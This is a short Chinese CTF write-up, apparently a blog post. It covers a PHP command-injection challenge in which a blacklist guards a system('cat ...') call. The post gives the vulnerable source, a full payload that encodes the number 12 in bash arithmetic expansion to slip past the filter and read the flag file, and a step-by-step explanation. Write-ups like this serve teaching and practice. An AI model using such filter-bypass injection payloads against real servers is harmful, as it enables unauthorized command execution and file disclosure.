Z时代.bug(゜▽゜*)

Z时代.bug(゜▽゜*)

2024.6.1

题目

<?php
//flag in 12.php
error_reporting(0);
if(isset($_GET['x'])){
    $x = $_GET['x'];
    if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i", $x)){
            system("cat ".$x.".php");
    }
}else{
    highlight_file(__FILE__);
}
?>

payload

x=$((~$(($(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))$(($(($$))$((~$(($$))))))))))

解析

  • ​$(())​ 是一种用于进行算术运算的Shell语法。它可以用来计算数学表达式的值,并将结果输出到标准输出
  • ​$$​ 代表当前进程的 ID

因此, $(($$))​ 的意思是:获取当前进程的 ID

由此可以得到 一个获取 -1​ 的单元

​$(($(($$))$((~$(($$))))))

由此只要不断叠加单元就可以获得任何数据

例如获取 数字 3 (这里为了观赏性采用换行表现)

$((~$((
    $(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
    ​$(($(($$))$((~$(($$))))))
))))
06-02 08:41